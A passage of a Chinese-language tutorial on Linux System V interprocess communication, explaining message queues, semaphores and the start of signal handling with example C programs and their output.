CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" Reading Process: Shared Memory: Read 1023 bytes segment contains : "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD" Reading Process: Shared Memory: Read 1023 bytes segment contains : "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" Reading Process: Shared Memory: Read 1023 bytes Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
消息队列
既然已经有了共享内存,为什么还需要消息队列?原因有很多,为了简化,让我们尝试将其分解成多个要点:
如我们所知,一旦一个进程接收了消息,其他任何进程都无法再访问它。而在共享内存中,多个进程都可以访问数据。
如果我们希望使用小的消息格式进行通信。
当多个进程同时通信时,需要使用同步机制来保护共享内存数据。
如果使用共享内存的写入和读取频率很高,那么实现功能将非常复杂。在这种情况下,使用它并不值得。
如果并非所有进程都需要访问共享内存,而只有少数进程需要访问,那么使用消息队列会更好。
如果我们希望使用不同的数据包进行通信,例如进程 A 向进程 B 发送消息类型 1,向进程 C 发送消息类型 10,向进程 D 发送消息类型 20。在这种情况下,使用消息队列更容易实现。为了简化给定的消息类型(1、10、20),它可以是 0 或正数或负数,如下所述。
当然,消息队列的顺序是 FIFO(先进先出)。第一个插入队列的消息是第一个被检索的消息。
使用共享内存或消息队列取决于应用程序的需求以及它可以被有效利用的程度。
使用消息队列进行通信可以通过以下方式实现:
一个进程写入共享内存,另一个进程从共享内存读取。我们知道,多个进程也可以读取。
一个进程使用不同的数据包写入共享内存,多个进程从中读取,即根据消息类型读取。
在了解了有关消息队列的一些信息后,现在是时候检查支持消息队列的系统调用(System V)了。
要使用消息队列进行通信,请执行以下步骤:
步骤 1 − 创建消息队列或连接到已有的消息队列 (msgget())
步骤 2 − 向消息队列写入 (msgsnd())
步骤 3 − 从消息队列读取 (msgrcv())
步骤 4 − 对消息队列执行控制操作 (msgctl())
现在,让我们检查以上调用的语法和一些信息。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgget(key_t key, int msgflg)
此系统调用创建或分配一个 System V 消息队列。需要传递以下参数:
第一个参数 key 用于识别消息队列。key 可以是任意值,也可以是从库函数 ftok() 派生的值。
第二个参数 shmflg 指定所需的消息队列标志,例如 IPC_CREAT(如果不存在则创建消息队列)或 IPC_EXCL(与 IPC_CREAT 一起使用以创建消息队列,如果消息队列已存在,则调用失败)。还需要传递权限。
注意 - 请参阅前面的部分以了解有关权限的详细信息。
此调用成功时返回有效的消息队列标识符(用于后续的消息队列调用),失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
此调用可能出现的各种错误包括 EACCESS(权限被拒绝)、EEXIST(队列已存在,无法创建)、ENOENT(队列不存在)、ENOMEM(内存不足,无法创建队列)等。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
此系统调用将消息发送/追加到消息队列(System V)。需要传递以下参数:
第一个参数 msgid 用于识别消息队列,即消息队列标识符。标识符值在 msgget() 成功后获得。
第二个参数 msgp 是指向发送到调用者的消息的指针,定义在以下形式的结构体中:
struct msgbuf { long mtype; char mtext[1]; };
变量 mtype 用于与不同的消息类型进行通信,在 msgrcv() 调用中详细解释。变量 mtext 是一个数组或其他结构体,其大小由 msgsz(正值)指定。如果未提及 mtext 字段,则将其视为零大小消息,这是允许的。
第三个参数 msgsz 是消息的大小(消息应以 null 字符结尾)。
第四个参数 msgflg 指示某些标志,例如 IPC_NOWAIT(当队列中没有找到消息时立即返回)或 MSG_NOERROR(如果超过 msgsz 字节,则截断消息文本)。
此调用将在成功时返回0,在失败时返回-1。要了解失败的原因,请检查errno变量或perror()函数。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
此系统调用从消息队列(System V)检索消息。需要传递以下参数:
第一个参数 msgid 用于识别消息队列,即消息队列标识符。标识符值在 msgget() 成功后获得。
第二个参数 msgp 是从调用者接收的消息的指针。它定义在以下形式的结构体中:
struct msgbuf { long mtype; char mtext[1]; };
变量 mtype 用于与不同的消息类型进行通信。变量 mtext 是一个数组或其他结构体,其大小由 msgsz(正值)指定。如果未提及 mtext 字段,则将其视为零大小消息,这是允许的。
第三个参数 msgsz 是接收的消息的大小(消息应以 null 字符结尾)。
第四个参数 msgtype 指示消息的类型:
如果 msgtype 为 0 − 读取队列中接收到的第一个消息。
如果 msgtype 为正数 − 读取队列中第一个类型为 msgtype 的消息(如果 msgtype 为 10,则仅读取第一个类型为 10 的消息,即使队列开头可能存在其他类型的消息)。
如果 msgtype 为负数 − 读取第一个类型小于或等于消息类型绝对值的最低类型消息(例如,如果 msgtype 为 -5,则读取第一个类型小于 5 的消息,即类型为 1 到 5 的消息)。
第五个参数 msgflg 指示某些标志,例如 IPC_NOWAIT(当队列中没有找到消息时立即返回)或 MSG_NOERROR(如果超过 msgsz 字节,则截断消息文本)。
此调用成功时返回实际接收到的 mtext 数组中的字节数,失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> int msgctl(int msgid, int cmd, struct msqid_ds *buf)
此系统调用执行消息队列(System V)的控制操作。需要传递以下参数:
第一个参数 msgid 用于识别消息队列,即消息队列标识符。标识符值在 msgget() 成功后获得。
第二个参数 cmd 是要对消息队列执行的所需控制操作的命令。cmd 的有效值为:
IPC_STAT − 将结构体 msqid_ds 中每个成员的当前值信息复制到 buf 指向的结构体中。此命令需要对消息队列具有读取权限。
IPC_SET − 设置结构体 buf 指向的拥有者用户 ID、组 ID、权限等。
IPC_RMID − 立即删除消息队列。
IPC_INFO − 将消息队列限制和参数信息返回到 buf 指向的结构体中,该结构体的类型为 struct msginfo。
MSG_INFO − 返回一个 msginfo 结构体,其中包含消息队列消耗的系统资源信息。
第三个参数 buf 是指向名为 struct msqid_ds 的消息队列结构体的指针。此结构体中的值将根据 cmd 用于设置或获取。
此调用根据传递的命令返回相应的值。IPC_INFO 和 MSG_INFO 或 MSG_STAT 成功时返回消息队列的索引或标识符,其他操作返回 0,失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
在了解了有关消息队列的基本信息和系统调用后,现在是时候检查程序了。
在查看程序之前,让我们先了解一下描述:
步骤 1 − 创建两个进程,一个用于向消息队列发送 (msgq_send.c),另一个用于从消息队列检索 (msgq_recv.c)。
步骤 2 − 使用 ftok() 函数创建 key。为此,首先创建文件 msgq.txt 以获取唯一的 key。
步骤 3 − 发送进程执行以下操作。
从用户读取字符串输入。
如果存在,则删除换行符。
发送到消息队列。
重复此过程,直到输入结束 (CTRL + D)。
收到输入结束信号后,发送消息“end”以表示进程结束。
步骤 4 − 在接收进程中,执行以下操作。
- 从队列读取消息。
- 显示输出。
- 如果接收到的消息为“end”,则结束进程并退出。
为了简化,此示例中未使用消息类型。此外,一个进程写入队列,另一个进程从队列读取。这可以根据需要扩展,即理想情况下,一个进程写入队列,多个进程从队列读取。
现在,让我们检查进程(向队列发送消息) - 文件:msgq_send.c
/* Filename: msgq_send.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #define PERMS 0644 struct my_msgbuf { long mtype; char mtext[200]; }; int main(void) { struct my_msgbuf buf; int msqid; int len; key_t key; system("touch msgq.txt"); if ((key = ftok("msgq.txt", 'B')) == -1) { perror("ftok"); exit(1); } if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } printf("message queue: ready to send messages.\n"); printf("Enter lines of text, ^D to quit:\n"); buf.mtype = 1; /* we don't really care in this case */ while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) { len = strlen(buf.mtext); /* remove newline at end, if it exists */ if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0'; if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */ perror("msgsnd"); } strcpy(buf.mtext, "end"); len = strlen(buf.mtext); if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */ perror("msgsnd"); if (msgctl(msqid, IPC_RMID, NULL) == -1) { perror("msgctl"); exit(1); } printf("message queue: done sending messages.\n"); return 0; }
编译和执行步骤
message queue: ready to send messages. Enter lines of text, ^D to quit: this is line 1 this is line 2 message queue: done sending messages.
以下是消息接收进程的代码(从队列检索消息) - 文件:msgq_recv.c
/* Filename: msgq_recv.c */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #define PERMS 0644 struct my_msgbuf { long mtype; char mtext[200]; }; int main(void) { struct my_msgbuf buf; int msqid; int toend; key_t key; if ((key = ftok("msgq.txt", 'B')) == -1) { perror("ftok"); exit(1); } if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */ perror("msgget"); exit(1); } printf("message queue: ready to receive messages.\n"); for(;;) { /* normally receiving never ends but just to make conclusion /* this program ends wuth string of end */ if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) { perror("msgrcv"); exit(1); } printf("recvd: \"%s\"\n", buf.mtext); toend = strcmp(buf.mtext,"end"); if (toend == 0) break; } printf("message queue: done receiving messages.\n"); system("rm msgq.txt"); return 0; }
编译和执行步骤
message queue: ready to receive messages. recvd: "this is line 1" recvd: "this is line 2" recvd: "end" message queue: done receiving messages.
进程间通信 - 信号量
首先想到的问题是,为什么我们需要信号量?简单来说,是为了保护多个进程共享的关键/公共区域。
假设多个进程使用相同的代码区域,如果所有进程都想要并行访问,那么结果就会出现重叠。例如,多个用户只使用一台打印机(公共/关键区域),假设有3个用户,同时提交了3个打印作业,如果所有作业都并行开始,那么一个用户的输出就会与另一个用户的输出重叠。因此,我们需要使用信号量来保护它,即当一个进程正在运行时锁定关键区域,并在完成时解锁。这将对每个用户/进程重复,以确保一个作业不会与另一个作业重叠。
基本上,信号量分为两种类型:
二元信号量 - 只有两种状态 0 & 1,即锁定/解锁或可用/不可用,互斥量实现。
计数信号量 - 允许任意资源计数的信号量称为计数信号量。
假设我们有5台打印机(为了理解,假设1台打印机只接受1个作业),我们有3个打印作业。现在,这3个作业将分配给3台打印机(每台1个)。当打印作业正在进行时,又来了4个作业。现在,在2台可用的打印机中,2个作业已经排队,我们还有2个作业,只有当其中一个资源/打印机可用时才能完成。这种根据资源可用性进行调度的机制可以看作是计数信号量。
要使用信号量执行同步,请按照以下步骤操作:
步骤1 - 创建信号量或连接到已存在的信号量 (semget())
步骤2 - 对信号量执行操作,例如分配、释放或等待资源 (semop())
步骤3 - 对消息队列执行控制操作 (semctl())
现在,让我们使用我们拥有的系统调用来检查一下。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semget(key_t key, int nsems, int semflg)
此系统调用创建或分配一个 System V 信号量集。需要传递以下参数:
第一个参数 key 用于识别消息队列。key 可以是任意值,也可以是从库函数 ftok() 派生的值。
第二个参数 nsems 指定信号量的数量。如果是二元信号量,则为 1,表示需要 1 个信号量集,否则根据所需的信号量集数量进行指定。
第三个参数 semflg 指定所需的信号量标志,例如 IPC_CREAT(如果信号量不存在则创建)或 IPC_EXCL(与 IPC_CREAT 一起使用以创建信号量,如果信号量已存在则调用失败)。还需要传递权限。
注意 - 请参阅前面的部分以了解有关权限的详细信息。
如果成功,此调用将返回有效的信号量标识符(用于后续的信号量调用),如果失败则返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
与该调用相关的各种错误包括 EACCESS(权限被拒绝)、EEXIST(队列已存在,无法创建)、ENOENT(队列不存在)、ENOMEM(没有足够的内存来创建队列)、ENOSPC(超过最大集合限制)等。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semop(int semid, struct sembuf *semops, size_t nsemops)
此系统调用对 System V 信号量集执行操作,例如分配资源、等待资源或释放资源。需要传递以下参数:
第一个参数 semid 指示由 semget() 创建的信号量集标识符。
第二个参数 semops 是指向要对信号量集执行的操作数组的指针。结构如下:
struct sembuf { unsigned short sem_num; /* Semaphore set num */ short sem_op; /* Semaphore operation */ short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */ };
上述结构中的元素 sem_op 指示需要执行的操作:
如果 sem_op 为负,则分配或获取资源。阻塞调用进程,直到其他进程释放了足够的资源,以便此进程可以分配。
如果 sem_op 为零,则调用进程等待或休眠,直到信号量值达到 0。
如果 sem_op 为正,则释放资源。
例如:
struct sembuf sem_lock = { 0, -1, SEM_UNDO };
struct sembuf sem_unlock = {0, 1, SEM_UNDO };
第三个参数 nsemops 是该数组中操作的数量。
#include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> int semctl(int semid, int semnum, int cmd, …)
此系统调用对 System V 信号量执行控制操作。需要传递以下参数:
第一个参数 semid 是信号量的标识符。此 ID 是信号量标识符,它是 semget() 系统调用的返回值。
第二个参数 semnum 是信号量的编号。信号量从 0 开始编号。
第三个参数 cmd 是执行所需控制操作的命令。
第四个参数,类型为 union semun,取决于 cmd。对于某些情况,第四个参数不适用。
让我们检查一下 union semun:
union semun { int val; /* val for SETVAL */ struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */ unsigned short *array; /* Buffer for GETALL and SETALL */ struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/ };
在 sys/sem.h 中定义的 semid_ds 数据结构如下:
struct semid_ds { struct ipc_perm sem_perm; /* Permissions */ time_t sem_otime; /* Last semop time */ time_t sem_ctime; /* Last change time */ unsigned long sem_nsems; /* Number of semaphores in the set */ };
注意 - 请参阅手册页以获取其他数据结构。
union semun arg; cmd 的有效值为:
IPC_STAT - 将 struct semid_ds 中每个成员的当前值的副本复制到 arg.buf 指向的结构中。此命令需要对信号量具有读取权限。
IPC_SET - 设置所有者的用户 ID、组 ID、权限等,这些由 semid_ds 结构指向。
IPC_RMID - 删除信号量集。
IPC_INFO - 返回有关信号量限制和参数的信息,这些信息存储在 arg.__buf 指向的 semid_ds 结构中。
SEM_INFO - 返回一个 seminfo 结构,其中包含有关信号量消耗的系统资源的信息。
此调用将根据传递的命令返回一个值(非负值)。成功时,IPC_INFO 和 SEM_INFO 或 SEM_STAT 返回最高使用条目的索引或标识符(根据信号量),或 GETNCNT 的 semncnt 值,或 GETPID 的 sempid 值,或 GETVAL 的 semval 值,对于其他操作,成功时返回 0,失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
在查看代码之前,让我们了解一下它的实现:
创建两个进程,例如子进程和父进程。
创建共享内存,主要用于存储计数器和其他标志,以指示共享内存中读/写进程的结束。
父进程和子进程都将计数器增加 count。count 可以作为命令行参数传递,也可以作为默认值(如果未作为命令行参数传递或值小于 10000)。使用某些休眠时间来确保父进程和子进程同时访问共享内存,即并行访问。
由于父进程和子进程都将计数器每次增加 1,因此最终值应该是计数器的两倍。由于父进程和子进程同时执行操作,因此计数器不会按预期递增。因此,我们需要确保一个进程完成之后再执行另一个进程。
所有上述实现都在文件 shm_write_cntr.c 中执行。
检查计数器值是否在文件 shm_read_cntr.c 中实现。
为了确保完成,信号量程序在文件 shm_write_cntr_with_sem.c 中实现。在整个进程完成后(从另一个程序读取完成后)删除信号量。
由于我们有单独的文件来读取共享内存中的计数器值,并且不会受到写入的影响,因此读取程序保持不变 (shm_read_cntr.c)。
最好在一个终端中执行写入程序,在另一个终端中执行读取程序。由于程序只有在写入和读取过程完成后才会完成执行,因此在完全执行写入程序后运行程序是可以的。写入程序将等待读取程序运行,并且只有在读取程序完成后才会结束。
没有信号量的程序。
/* Filename: shm_write_cntr.c */ #include<stdio.h> #include<sys/ipc.h> #include<sys/shm.h> #include<sys/types.h> #include<string.h> #include<errno.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #define SHM_KEY 0x12345 struct shmseg { int cntr; int write_complete; int read_complete; }; void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count); int main(int argc, char *argv[]) { int shmid; struct shmseg *shmp; char *bufptr; int total_count; int sleep_time; pid_t pid; if (argc != 2) total_count = 10000; else { total_count = atoi(argv[1]); if (total_count < 10000) total_count = 10000; } printf("Total Count is %d\n", total_count); shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT); if (shmid == -1) { perror("Shared memory"); return 1; } // Attach to the segment to get a pointer to it. shmp = shmat(shmid, NULL, 0); if (shmp == (void *) -1) { perror("Shared memory attach"); return 1; } shmp->cntr = 0; pid = fork(); /* Parent Process - Writing Once */ if (pid > 0) { shared_memory_cntr_increment(pid, shmp, total_count); } else if (pid == 0) { shared_memory_cntr_increment(pid, shmp, total_count); return 0; } else { perror("Fork Failure\n"); return 1; } while (shmp->read_complete != 1) sleep(1); if (shmdt(shmp) == -1) { perror("shmdt"); return 1; } if (shmctl(shmid, IPC_RMID, 0) == -1) { perror("shmctl"); return 1; } printf("Writing Process: Complete\n"); return 0; } /* Increment the counter of shared memory by total_count in steps of 1 */ void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) { int cntr; int numtimes; int sleep_time; cntr = shmp->cntr; shmp->write_complete = 0; if (pid == 0) printf("SHM_WRITE: CHILD: Now writing\n"); else if (pid > 0) printf("SHM_WRITE: PARENT: Now writing\n"); //printf("SHM_CNTR is %d\n", shmp->cntr); /* Increment the counter in shared memory by total_count in steps of 1 */ for (numtimes = 0; numtimes < total_count; numtimes++) { cntr += 1; shmp->cntr = cntr; /* Sleeping for a second for every thousand */ sleep_time = cntr % 1000; if (sleep_time == 0) sleep(1); } shmp->write_complete = 1; if (pid == 0) printf("SHM_WRITE: CHILD: Writing Done\n"); else if (pid > 0) printf("SHM_WRITE: PARENT: Writing Done\n"); return; }
编译和执行步骤
Total Count is 10000 SHM_WRITE: PARENT: Now writing SHM_WRITE: CHILD: Now writing SHM_WRITE: PARENT: Writing Done SHM_WRITE: CHILD: Writing Done Writing Process: Complete
现在,让我们检查共享内存读取程序。
/* Filename: shm_read_cntr.c */ #include<stdio.h> #include<sys/ipc.h> #include<sys/shm.h> #include<sys/types.h> #include<string.h> #include<errno.h> #include<stdlib.h> #include<unistd.h> #define SHM_KEY 0x12345 struct shmseg { int cntr; int write_complete; int read_complete; }; int main(int argc, char *argv[]) { int shmid, numtimes; struct shmseg *shmp; int total_count; int cntr; int sleep_time; if (argc != 2) total_count = 10000; else { total_count = atoi(argv[1]); if (total_count < 10000) total_count = 10000; } shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT); if (shmid == -1) { perror("Shared memory"); return 1; } // Attach to the segment to get a pointer to it. shmp = shmat(shmid, NULL, 0); if (shmp == (void *) -1) { perror("Shared memory attach"); return 1; } /* Read the shared memory cntr and print it on standard output */ while (shmp->write_complete != 1) { if (shmp->cntr == -1) { perror("read"); return 1; } sleep(3); } printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr); printf("Reading Process: Reading Done, Detaching Shared Memory\n"); shmp->read_complete = 1; if (shmdt(shmp) == -1) { perror("shmdt"); return 1; } printf("Reading Process: Complete\n"); return 0; }
编译和执行步骤
Reading Process: Shared Memory: Counter is 11000 Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
如果您观察上述输出,计数器应该为 20000,但是,由于在一个进程任务完成之前,另一个进程也正在并行处理,因此计数器值并不像预期的那样。输出会因系统而异,并且每次执行也会有所不同。为了确保两个进程在完成一个任务后执行任务,应该使用同步机制来实现。
现在,让我们使用信号量检查相同的应用程序。
注意 - 读取程序保持不变。
/* Filename: shm_write_cntr_with_sem.c */ #include<stdio.h> #include<sys/types.h> #include<sys/ipc.h> #include<sys/shm.h> #include<sys/sem.h> #include<string.h> #include<errno.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #define SHM_KEY 0x12345 #define SEM_KEY 0x54321 #define MAX_TRIES 20 struct shmseg { int cntr; int write_complete; int read_complete; }; void shared_memory_cntr_increment(int, struct shmseg*, int); void remove_semaphore(); int main(int argc, char *argv[]) { int shmid; struct shmseg *shmp; char *bufptr; int total_count; int sleep_time; pid_t pid; if (argc != 2) total_count = 10000; else { total_count = atoi(argv[1]); if (total_count < 10000) total_count = 10000; } printf("Total Count is %d\n", total_count); shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT); if (shmid == -1) { perror("Shared memory"); return 1; } // Attach to the segment to get a pointer to it. shmp = shmat(shmid, NULL, 0); if (shmp == (void *) -1) { perror("Shared memory attach: "); return 1; } shmp->cntr = 0; pid = fork(); /* Parent Process - Writing Once */ if (pid > 0) { shared_memory_cntr_increment(pid, shmp, total_count); } else if (pid == 0) { shared_memory_cntr_increment(pid, shmp, total_count); return 0; } else { perror("Fork Failure\n"); return 1; } while (shmp->read_complete != 1) sleep(1); if (shmdt(shmp) == -1) { perror("shmdt"); return 1; } if (shmctl(shmid, IPC_RMID, 0) == -1) { perror("shmctl"); return 1; } printf("Writing Process: Complete\n"); remove_semaphore(); return 0; } /* Increment the counter of shared memory by total_count in steps of 1 */ void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) { int cntr; int numtimes; int sleep_time; int semid; struct sembuf sem_buf; struct semid_ds buf; int tries; int retval; semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); //printf("errno is %d and semid is %d\n", errno, semid); /* Got the semaphore */ if (semid >= 0) { printf("First Process\n"); sem_buf.sem_op = 1; sem_buf.sem_flg = 0; sem_buf.sem_num = 0; retval = semop(semid, &sem_buf, 1); if (retval == -1) { perror("Semaphore Operation: "); return; } } else if (errno == EEXIST) { // Already other process got it int ready = 0; printf("Second Process\n"); semid = semget(SEM_KEY, 1, 0); if (semid < 0) { perror("Semaphore GET: "); return; } /* Waiting for the resource */ sem_buf.sem_num = 0; sem_buf.sem_op = 0; sem_buf.sem_flg = SEM_UNDO; retval = semop(semid, &sem_buf, 1); if (retval == -1) { perror("Semaphore Locked: "); return; } } sem_buf.sem_num = 0; sem_buf.sem_op = -1; /* Allocating the resources */ sem_buf.sem_flg = SEM_UNDO; retval = semop(semid, &sem_buf, 1); if (retval == -1) { perror("Semaphore Locked: "); return; } cntr = shmp->cntr; shmp->write_complete = 0; if (pid == 0) printf("SHM_WRITE: CHILD: Now writing\n"); else if (pid > 0) printf("SHM_WRITE: PARENT: Now writing\n"); //printf("SHM_CNTR is %d\n", shmp->cntr); /* Increment the counter in shared memory by total_count in steps of 1 */ for (numtimes = 0; numtimes < total_count; numtimes++) { cntr += 1; shmp->cntr = cntr; /* Sleeping for a second for every thousand */ sleep_time = cntr % 1000; if (sleep_time == 0) sleep(1); } shmp->write_complete = 1; sem_buf.sem_op = 1; /* Releasing the resource */ retval = semop(semid, &sem_buf, 1); if (retval == -1) { perror("Semaphore Locked\n"); return; } if (pid == 0) printf("SHM_WRITE: CHILD: Writing Done\n"); else if (pid > 0) printf("SHM_WRITE: PARENT: Writing Done\n"); return; } void remove_semaphore() { int semid; int retval; semid = semget(SEM_KEY, 1, 0); if (semid < 0) { perror("Remove Semaphore: Semaphore GET: "); return; } retval = semctl(semid, 0, IPC_RMID); if (retval == -1) { perror("Remove Semaphore: Semaphore CTL: "); return; } return; }
编译和执行步骤
Total Count is 10000 First Process SHM_WRITE: PARENT: Now writing Second Process SHM_WRITE: PARENT: Writing Done SHM_WRITE: CHILD: Now writing SHM_WRITE: CHILD: Writing Done Writing Process: Complete
现在,我们将通过读取过程检查计数器值。
执行步骤
Reading Process: Shared Memory: Counter is 20000 Reading Process: Reading Done, Detaching Shared Memory Reading Process: Complete
进程间通信 - 信号
信号是发送到进程的通知,指示事件的发生。信号也称为软件中断,其发生不可预测,因此也称为异步事件。
信号可以用数字或名称指定,通常信号名称以 SIG 开头。可以使用命令 kill –l(l 表示列出信号名称)检查可用的信号,如下所示:
每当发出信号(无论是程序生成的还是系统生成的信号),都会执行默认操作。如果您不想执行默认操作,而是希望在收到信号时执行自己的操作,该怎么办?对于所有信号,这是否可能?是的,可以处理信号,但并非所有信号都可以处理。如果您想忽略信号,这是否可能?是的,可以忽略信号。忽略信号意味着既不执行默认操作也不处理信号。可以忽略或处理几乎所有信号。无法忽略或处理/捕获的信号是 SIGSTOP 和 SIGKILL。
总之,对信号执行的操作如下:
- 默认操作
- 处理信号
- 忽略信号
如上所述,可以通过更改默认操作的执行来处理信号。信号处理可以通过两种方式之一完成,即通过系统调用 signal() 和 sigaction()。
#include <signal.h> typedef void (*sighandler_t) (int); sighandler_t signal(int signum, sighandler_t handler);
系统调用 signal() 将在生成 signum 中提到的信号时调用注册的处理程序。处理程序可以是 SIG_IGN(忽略信号)、SIG_DFL(将信号重置为默认机制)或用户定义的信号处理程序或函数地址之一。
